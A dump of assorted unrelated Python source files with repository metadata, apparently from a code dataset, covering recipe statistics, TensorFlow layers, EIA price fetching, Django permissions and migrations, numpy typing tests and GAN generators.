CommonStylesAnalysis(RecipeLevelAnalysis): def common_styles_absolute(self, num_top: Optional[int] = None) -> DataFrame: df = self._common_styles_data() if len(df) == 0: return df df = df.sort_values('recipes', ascending=False) return self._return(df, num_top) def common_styles_relative(self, num_top: Optional[int] = None) -> DataFrame: df = self._common_styles_data() if len(df) == 0: return df # Calculate percent recipes_per_style = RecipesCountAnalysis(RecipeScope()).per_style() df = df.merge(recipes_per_style, on="style_id") df['recipes_percent'] = df['recipes'] / df['total_recipes'] df = df.sort_values('recipes_percent', ascending=False) return self._return(df, num_top) def _common_styles_data(self) -> DataFrame: scope_filter = self.scope.get_filter() query = ''' SELECT ras.style_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipe_associated_styles AS ras ON r.uid = ras.recipe_id WHERE 1 {} GROUP BY ras.style_id '''.format(scope_filter.where) return pd.read_sql(query, connection, params=scope_filter.parameters) def _return(self, df: DataFrame, num_top: Optional[int]) -> DataFrame: df['beer_style'] = df['style_id'].map(get_style_names_dict()) if num_top is not None: df = df[:num_top] return df
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lukaspestalozzi/Master_Semester_Project
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Tichu-gym/scraper/__ini__.py
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from .tichumania_game_scraper import GenCombWeights from .tichumania_game_scraper import TichumaniaScraper
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AfricaMachineIntelligence/ConvNetQuake
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[ "MIT" ]
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2017-02-10T20:13:57.000Z
2022-03-06T12:50:50.000Z
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VioletaSeo/ConvNetQuake
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VioletaSeo/ConvNetQuake
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[ "MIT" ]
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2017-05-25T03:19:51.000Z
2022-03-18T02:07:09.000Z
import tensorflow as tf import numpy as np def conv(inputs, nfilters, ksize, stride=1, padding='SAME', use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): with tf.variable_scope(scope, reuse=reuse): n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[ksize, ksize, n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, collections=[tf.GraphKeys.WEIGHTS, tf.GraphKeys.VARIABLES], regularizer=regularizer) strides = [1, stride, stride, 1] current_layer = tf.nn.conv2d(inputs, weights, strides, padding=padding) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0.0), collections=[tf.GraphKeys.BIASES, tf.GraphKeys.VARIABLES]) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def transpose_conv(inputs, nfilters, ksize, stride=1, padding='SAME', use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): with tf.variable_scope(scope, reuse=reuse): n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[ksize, ksize, n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, collections=[tf.GraphKeys.WEIGHTS, tf.GraphKeys.VARIABLES], regularizer=regularizer) bs, h, w, c = inputs.get_shape().as_list() strides = [1, stride, stride, 1] out_shape = [bs, stride*h, stride*w, c] current_layer = tf.nn.conv2d_transpose(inputs, weights, out_shape, strides, padding=padding) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0.0), collections=[tf.GraphKeys.BIASES, tf.GraphKeys.VARIABLES]) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def conv1(inputs, nfilters, ksize, stride=1, padding='SAME', use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): with tf.variable_scope(scope, reuse=reuse): n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[ksize, n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, collections=[tf.GraphKeys.WEIGHTS, tf.GraphKeys.VARIABLES], regularizer=regularizer) current_layer = tf.nn.conv1d(inputs, weights, stride, padding=padding) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0.0), collections=[tf.GraphKeys.BIASES, tf.GraphKeys.VARIABLES]) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def atrous_conv1d(inputs, nfilters, ksize, rate=1, padding='SAME', use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): """ Use tf.nn.atrous_conv2d and adapt to 1d""" with tf.variable_scope(scope, reuse=reuse): # from (bs,width,c) to (bs,width,1,c) inputs = tf.expand_dims(inputs,2) n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[ksize, 1, n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, collections=[tf.GraphKeys.WEIGHTS, tf.GraphKeys.VARIABLES], regularizer=regularizer) current_layer = tf.nn.atrous_conv2d(inputs,weights, rate, padding=padding) # Resize into (bs,width,c) current_layer = tf.squeeze(current_layer,squeeze_dims=[2]) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0.0), collections=[tf.GraphKeys.BIASES, tf.GraphKeys.VARIABLES]) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def conv3(inputs, nfilters, ksize, stride=1, padding='SAME', use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): with tf.variable_scope(scope, reuse=reuse): n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[ksize, ksize, ksize, n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, collections=[tf.GraphKeys.WEIGHTS, tf.GraphKeys.VARIABLES], regularizer=regularizer) strides = [1, stride, stride, stride, 1] current_layer = tf.nn.conv3d(inputs, weights, strides, padding=padding) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0.0), collections=[tf.GraphKeys.BIASES, tf.GraphKeys.VARIABLES]) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def fc(inputs, nfilters, use_bias=True, activation_fn=tf.nn.relu, initializer=tf.contrib.layers.variance_scaling_initializer(), regularizer=None, scope=None, reuse=None): with tf.variable_scope(scope, reuse=reuse): n_in = inputs.get_shape().as_list()[-1] weights = tf.get_variable( 'weights', shape=[n_in, nfilters], dtype=inputs.dtype.base_dtype, initializer=initializer, regularizer=regularizer) current_layer = tf.matmul(inputs, weights) if use_bias: biases = tf.get_variable( 'biases', shape=[nfilters,], dtype=inputs.dtype.base_dtype, initializer=tf.constant_initializer(0)) current_layer = tf.nn.bias_add(current_layer, biases) if activation_fn is not None: current_layer = activation_fn(current_layer) return current_layer def batch_norm(inputs, center=False, scale=False, decay=0.999, epsilon=0.001, reuse=None, scope=None, is_training=False): return tf.contrib.layers.batch_norm( inputs, center=center, scale=scale, decay=decay, epsilon=epsilon, activation_fn=None, reuse=reuse,trainable=False, scope=scope, is_training=is_training) relu = tf.nn.relu def crop_like(inputs, like, name=None): with tf.name_scope(name): _, h, w, _ = inputs.get_shape().as_list() _, new_h, new_w, _ = like.get_shape().as_list() crop_h = (h-new_h)/2 crop_w = (w-new_w)/2 cropped = inputs[:, crop_h:crop_h+new_h, crop_w:crop_w+new_w, :] return cropped
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7
682a9211740ca279ca736263e93bb35ab681ebde
160
py
Python
bindings/pydeck/tests/bindings/test_string.py
StijnAmeloot/deck.gl
d67688e3f71a37e2f021dde6681bb1516bebac2b
[ "MIT" ]
7,702
2016-04-19T15:56:09.000Z
2020-04-14T19:03:13.000Z
bindings/pydeck/tests/bindings/test_string.py
StijnAmeloot/deck.gl
d67688e3f71a37e2f021dde6681bb1516bebac2b
[ "MIT" ]
3,126
2016-04-20T23:04:42.000Z
2020-04-14T22:46:02.000Z
bindings/pydeck/tests/bindings/test_string.py
StijnAmeloot/deck.gl
d67688e3f71a37e2f021dde6681bb1516bebac2b
[ "MIT" ]
1,526
2016-05-07T06:55:07.000Z
2020-04-14T18:52:19.000Z
from pydeck.types import String def test_basic_case(): assert "ok" == String("ok") def test_quotes(): assert "`ok`" == String("ok", quote_type="`")
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7
6832dbb97483a8501a3853a6b59861e16112abba
1,360
py
Python
pytroleum/eia.py
WaltXon/pytroleum
c8b1f53d2d276ebb6bc04834dd4e3f7989421535
[ "MIT" ]
12
2019-05-10T16:37:22.000Z
2022-01-30T02:02:14.000Z
pytroleum/eia.py
WaltXon/pytroleum
c8b1f53d2d276ebb6bc04834dd4e3f7989421535
[ "MIT" ]
null
null
null
pytroleum/eia.py
WaltXon/pytroleum
c8b1f53d2d276ebb6bc04834dd4e3f7989421535
[ "MIT" ]
2
2020-01-17T08:53:34.000Z
2021-02-17T03:51:48.000Z
import requests import pprint api_key = "" def get_eia_wti_monthly( addr=r"http://api.eia.gov/series/", data={"api_key": api_key, "series_id": "PET.RWTC.M"}, ): r = requests.get(addr, params=data) rdict = r.json()["series"][0] data = rdict["data"] del rdict["data"] pp = pprint.PrettyPrinter(indent=4) pp.pprint(rdict) return data def get_eia_wti_annual( addr=r"http://api.eia.gov/series/", data={"api_key": api_key, "series_id": "PET.RWTC.A"}, ): r = requests.get(addr, params=data) rdict = r.json()["series"][0] data = rdict["data"] del rdict["data"] pp = pprint.PrettyPrinter(indent=4) pp.pprint(rdict) return data def get_eia_henryhub_monthly( addr=r"http://api.eia.gov/series/", data={"api_key": api_key, "series_id": "NG.RNGWHHD.M"}, ): r = requests.get(addr, params=data) rdict = r.json()["series"][0] data = rdict["data"] del rdict["data"] pp = pprint.PrettyPrinter(indent=4) pp.pprint(rdict) return data def get_eia_henryhub_annual( addr=r"http://api.eia.gov/series/", data={"api_key": api_key, "series_id": "NG.RNGWHHD.A"}, ): r = requests.get(addr, params=data) rdict = r.json()["series"][0] data = rdict["data"] del rdict["data"] pp = pprint.PrettyPrinter(indent=4) pp.pprint(rdict) return data
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7
6834b31c00919653038fcba1137dbd610987f7d3
835
py
Python
api/permissions.py
Rybakov-Ilay/yamdb_final
9ab43ef36d626a255b9f83fff8d4a972f920b859
[ "MIT" ]
null
null
null
api/permissions.py
Rybakov-Ilay/yamdb_final
9ab43ef36d626a255b9f83fff8d4a972f920b859
[ "MIT" ]
null
null
null
api/permissions.py
Rybakov-Ilay/yamdb_final
9ab43ef36d626a255b9f83fff8d4a972f920b859
[ "MIT" ]
null
null
null
from rest_framework import permissions from rest_framework.permissions import SAFE_METHODS class ReadOnly(permissions.BasePermission): def has_permission(self, request, view): return request.method in SAFE_METHODS def has_object_permission(self, request, view, obj): return request.method in SAFE_METHODS class IsModerator(permissions.BasePermission): def has_permission(self, request, view): return request.user.is_authenticated and request.user.is_moderator def has_object_permission(self, request, view, obj): return request.user.is_moderator class IsOwner(permissions.BasePermission): def has_permission(self, request, view): return request.user.is_authenticated def has_object_permission(self, request, view, obj): return request.user == obj.author
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1
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7
6882e51100c631b3587d7052da5ea91c939347b3
4,758
py
Python
biserici_inlemnite/app/migrations/0047_pozefundatie_pozestructuracatei_pozestructuracheotoare_pozestructuramixt_pozetiranti.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
biserici_inlemnite/app/migrations/0047_pozefundatie_pozestructuracatei_pozestructuracheotoare_pozestructuramixt_pozetiranti.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
biserici_inlemnite/app/migrations/0047_pozefundatie_pozestructuracatei_pozestructuracheotoare_pozestructuramixt_pozetiranti.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
# Generated by Django 3.1.13 on 2021-09-27 11:35 from django.db import migrations, models import django.db.models.deletion import modelcluster.fields import wagtail.core.fields class Migration(migrations.Migration): dependencies = [ ('wagtailimages', '0023_add_choose_permissions'), ('app', '0046_auto_20210927_1427'), ] operations = [ migrations.CreateModel( name='PozeTiranti', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('observatii', wagtail.core.fields.RichTextField(blank=True, null=True, verbose_name='Observații')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='poze_tiranti', to='app.descrierepage')), ('poza', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.image')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='PozeStructuraMixt', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('observatii', wagtail.core.fields.RichTextField(blank=True, null=True, verbose_name='Observații')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='poze_structura_mixt', to='app.descrierepage')), ('poza', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.image')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='PozeStructuraCheotoare', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('observatii', wagtail.core.fields.RichTextField(blank=True, null=True, verbose_name='Observații')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='poze_structura_cheotoare', to='app.descrierepage')), ('poza', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.image')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='PozeStructuraCatei', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('observatii', wagtail.core.fields.RichTextField(blank=True, null=True, verbose_name='Observații')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='poze_structura_catei', to='app.descrierepage')), ('poza', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.image')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='PozeFundatie', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('observatii', wagtail.core.fields.RichTextField(blank=True, null=True, verbose_name='Observații')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='poze_fundatie', to='app.descrierepage')), ('poza', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.image')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), ]
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0
7
6883532f2502f82dccd35fe030c5e8e82af300c0
6,378
py
Python
numpy/typing/tests/data/reveal/bitwise_ops.py
mbkumar/numpy
0645461254a2110438b6df63ef193c1138c306ec
[ "BSD-3-Clause" ]
3
2021-02-06T06:47:30.000Z
2021-08-11T10:05:27.000Z
numpy/typing/tests/data/reveal/bitwise_ops.py
RuSHi2381/numpy
5da4a8e1835a11d5a03b715e9c0afe3bb96c883b
[ "BSD-3-Clause" ]
null
null
null
numpy/typing/tests/data/reveal/bitwise_ops.py
RuSHi2381/numpy
5da4a8e1835a11d5a03b715e9c0afe3bb96c883b
[ "BSD-3-Clause" ]
null
null
null
import numpy as np i8 = np.int64(1) u8 = np.uint64(1) i4 = np.int32(1) u4 = np.uint32(1) b_ = np.bool_(1) b = bool(1) i = int(1) AR = np.array([0, 1, 2], dtype=np.int32) AR.setflags(write=False) reveal_type(i8 << i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 >> i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 | i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 ^ i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 & i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 << AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(i8 >> AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(i8 | AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(i8 ^ AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(i8 & AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(i4 << i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i4 >> i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i4 | i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i4 ^ i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i4 & i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i8 << i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 >> i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 | i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 ^ i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 & i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 << i) # E: numpy.signedinteger[Any] reveal_type(i8 >> i) # E: numpy.signedinteger[Any] reveal_type(i8 | i) # E: numpy.signedinteger[Any] reveal_type(i8 ^ i) # E: numpy.signedinteger[Any] reveal_type(i8 & i) # E: numpy.signedinteger[Any] reveal_type(i8 << b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 >> b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 | b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 ^ b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 & b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 << b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 >> b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 | b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 ^ b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 & b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(u8 << u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 >> u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 | u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 ^ u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 & u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 << AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(u8 >> AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(u8 | AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(u8 ^ AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(u8 & AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(u4 << u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(u4 >> u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(u4 | u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(u4 ^ u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(u4 & u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(u4 << i4) # E: numpy.signedinteger[Any] reveal_type(u4 >> i4) # E: numpy.signedinteger[Any] reveal_type(u4 | i4) # E: numpy.signedinteger[Any] reveal_type(u4 ^ i4) # E: numpy.signedinteger[Any] reveal_type(u4 & i4) # E: numpy.signedinteger[Any] reveal_type(u4 << i) # E: numpy.signedinteger[Any] reveal_type(u4 >> i) # E: numpy.signedinteger[Any] reveal_type(u4 | i) # E: numpy.signedinteger[Any] reveal_type(u4 ^ i) # E: numpy.signedinteger[Any] reveal_type(u4 & i) # E: numpy.signedinteger[Any] reveal_type(u8 << b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 >> b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 | b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 ^ b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 & b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 << b) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 >> b) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 | b) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 ^ b) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(u8 & b) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(b_ << b_) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ >> b_) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ | b_) # E: numpy.bool_ reveal_type(b_ ^ b_) # E: numpy.bool_ reveal_type(b_ & b_) # E: numpy.bool_ reveal_type(b_ << AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(b_ >> AR) # E: Union[numpy.ndarray, numpy.integer[Any]] reveal_type(b_ | AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(b_ ^ AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(b_ & AR) # E: Union[numpy.ndarray, numpy.integer[Any], numpy.bool_] reveal_type(b_ << b) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ >> b) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ | b) # E: numpy.bool_ reveal_type(b_ ^ b) # E: numpy.bool_ reveal_type(b_ & b) # E: numpy.bool_ reveal_type(b_ << i) # E: numpy.signedinteger[Any] reveal_type(b_ >> i) # E: numpy.signedinteger[Any] reveal_type(b_ | i) # E: numpy.signedinteger[Any] reveal_type(b_ ^ i) # E: numpy.signedinteger[Any] reveal_type(b_ & i) # E: numpy.signedinteger[Any] reveal_type(~i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(~i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(~u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(~u4) # E: numpy.unsignedinteger[numpy.typing._32Bit] reveal_type(~b_) # E: numpy.bool_ reveal_type(~AR) # E: Union[numpy.ndarray*, numpy.integer[Any], numpy.bool_]
48.318182
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0.723267
972
6,378
4.536008
0.039095
0.217736
0.219778
0.184622
0.972783
0.972783
0.96802
0.96802
0.96802
0.924473
0
0.040816
0.116494
6,378
131
81
48.687023
0.741615
0.60693
0
0
0
0
0
0
0
0
0
0
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1
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false
0
0.009434
0
0.009434
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
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0
0
0
0
0
0
0
0
0
9
d7cd5b7630f21eeec396dd9a8f6481d512fe4a0b
170
py
Python
treestream/backends/redis_lua/__init__.py
GambitResearch/treestream
5d08162fb095c4e34e7a80f2015946bb65b8021c
[ "MIT" ]
null
null
null
treestream/backends/redis_lua/__init__.py
GambitResearch/treestream
5d08162fb095c4e34e7a80f2015946bb65b8021c
[ "MIT" ]
null
null
null
treestream/backends/redis_lua/__init__.py
GambitResearch/treestream
5d08162fb095c4e34e7a80f2015946bb65b8021c
[ "MIT" ]
null
null
null
from __future__ import absolute_import from treestream.backends.redis_lua.writer import RedisTreeWriter from treestream.backends.redis_lua.reader import RedisTreeReader
34
64
0.888235
21
170
6.857143
0.571429
0.194444
0.305556
0.375
0.416667
0
0
0
0
0
0
0
0.076471
170
4
65
42.5
0.917197
0
0
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0
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0
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true
0
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null
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null
0
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0
1
0
1
0
1
0
0
7
d7df6482015db9d1d6befb5e53db80fc1ee99994
49
py
Python
tests/test_app.py
sqrl-planner/sqrl-server
815b0b9ff8943faa806876aa9946ccc8314585ce
[ "MIT" ]
null
null
null
tests/test_app.py
sqrl-planner/sqrl-server
815b0b9ff8943faa806876aa9946ccc8314585ce
[ "MIT" ]
null
null
null
tests/test_app.py
sqrl-planner/sqrl-server
815b0b9ff8943faa806876aa9946ccc8314585ce
[ "MIT" ]
null
null
null
import pytest def test_true(): assert True
8.166667
16
0.693878
7
49
4.714286
0.857143
0
0
0
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0.244898
49
5
17
9.8
0.891892
0
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0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
1
1
0
null
0
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0
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null
0
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0
1
1
0
1
0
1
0
0
7
0bc7c8d9ffa261e332bed2889d39e370b8fd409d
146
py
Python
test.py
gzheng29/Casimir-programming
06927d8a31967e3fd1c842dd5350a79bfa496671
[ "MIT" ]
null
null
null
test.py
gzheng29/Casimir-programming
06927d8a31967e3fd1c842dd5350a79bfa496671
[ "MIT" ]
null
null
null
test.py
gzheng29/Casimir-programming
06927d8a31967e3fd1c842dd5350a79bfa496671
[ "MIT" ]
null
null
null
print('hello world') import numpy as np def circumference(radius): return 2*np.pi*radius def surface(radius): return np.pi*radius**2
14.6
27
0.69863
23
146
4.434783
0.608696
0.235294
0.196078
0
0
0
0
0
0
0
0
0.016807
0.184932
146
9
28
16.222222
0.840336
0
0
0
0
0
0.075342
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.333333
0.833333
0.166667
1
0
0
null
1
1
0
0
0
0
0
0
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1
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null
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0
1
0
0
0
1
1
0
0
7
0451770c08269d79ae2228c65b04e05d0ef0ec98
167
py
Python
pythran/tests/user_defined_import/builtins_in_imported_main.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
1,647
2015-01-13T01:45:38.000Z
2022-03-28T01:23:41.000Z
pythran/tests/user_defined_import/builtins_in_imported_main.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
1,116
2015-01-01T09:52:05.000Z
2022-03-18T21:06:40.000Z
pythran/tests/user_defined_import/builtins_in_imported_main.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
180
2015-02-12T02:47:28.000Z
2022-03-14T10:28:18.000Z
import builtins_in_imported from builtins_in_imported import dint #pythran export entry() #runas entry() def entry(): return dint(), builtins_in_imported.dint()
18.555556
46
0.778443
23
167
5.391304
0.521739
0.241935
0.435484
0
0
0
0
0
0
0
0
0
0.131737
167
8
47
20.875
0.855172
0.209581
0
0
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0
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0.25
true
0
0.75
0.25
1.25
0
1
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null
1
1
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1
1
0
0
9
f0fcd0c51d95734bd9caa3889e2ca095d3c104b8
195,519
py
Python
spam.py
reyza98/spon
977cf1f46ca2f06977e8fcf6d48b9b5adfca68e0
[ "BSD-3-Clause" ]
39
2020-02-26T09:44:36.000Z
2022-03-23T00:18:25.000Z
Vvvip7/spam.py
B4BY-DG/reverse-enginnering
b5b46a9f0eee218f2a642b615c77135c33c6f4ad
[ "MIT" ]
15
2020-05-14T10:07:26.000Z
2022-01-06T02:55:32.000Z
Vvvip7/spam.py
B4BY-DG/reverse-enginnering
b5b46a9f0eee218f2a642b615c77135c33c6f4ad
[ "MIT" ]
41
2020-03-16T22:36:38.000Z
2022-03-17T14:47:19.000Z
import marshal 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23
9bd7068451b4833f4f9ec4e11d861a50f33543f5
9,673
py
Python
Generators.py
simon555/autoencoders-for-gans
5162d09e1b03d1e37192778c238ef888afc28885
[ "MIT" ]
null
null
null
Generators.py
simon555/autoencoders-for-gans
5162d09e1b03d1e37192778c238ef888afc28885
[ "MIT" ]
null
null
null
Generators.py
simon555/autoencoders-for-gans
5162d09e1b03d1e37192778c238ef888afc28885
[ "MIT" ]
null
null
null
import torch from torch.autograd import Variable import torch.nn as nn import torch.nn.functional as F import numpy as np from utils import to_var class Generator_FC(nn.Module): def __init__(self,nout): super(Generator_FC, self).__init__() self.l1 = nn.Sequential( nn.Linear(64, 1024), nn.BatchNorm1d(1024), nn.LeakyReLU(0.02), nn.Linear(1024, 1024), nn.BatchNorm1d(1024), nn.LeakyReLU(0.02), nn.Linear(1024, nout), nn.Tanh()) def forward(self, z): out = self.l1(z) return out class Generator_ConvCifar(nn.Module): def __init__(self, batch_size, nz, num_steps_total=1): super(Generator_ConvCifar, self).__init__() self.batch_size = batch_size self.nz = nz self.l1 = nn.Sequential( nn.Linear(nz, 512*4*4)) self.l2 = nn.Sequential( nn.Conv2d(512, 256, kernel_size=5, padding=2, stride=1)) self.bn1 = nn.BatchNorm2d(256,1) self.l3 = nn.Sequential( nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1)) self.bn2 = nn.BatchNorm2d(128) self.l4 = nn.Sequential( nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(128, 128, kernel_size=5, padding=2, stride=1)) self.bn3 = nn.BatchNorm2d(128) self.l5 = nn.Sequential( nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1)) self.bn4 = nn.BatchNorm2d(64) self.l6 = nn.Sequential( 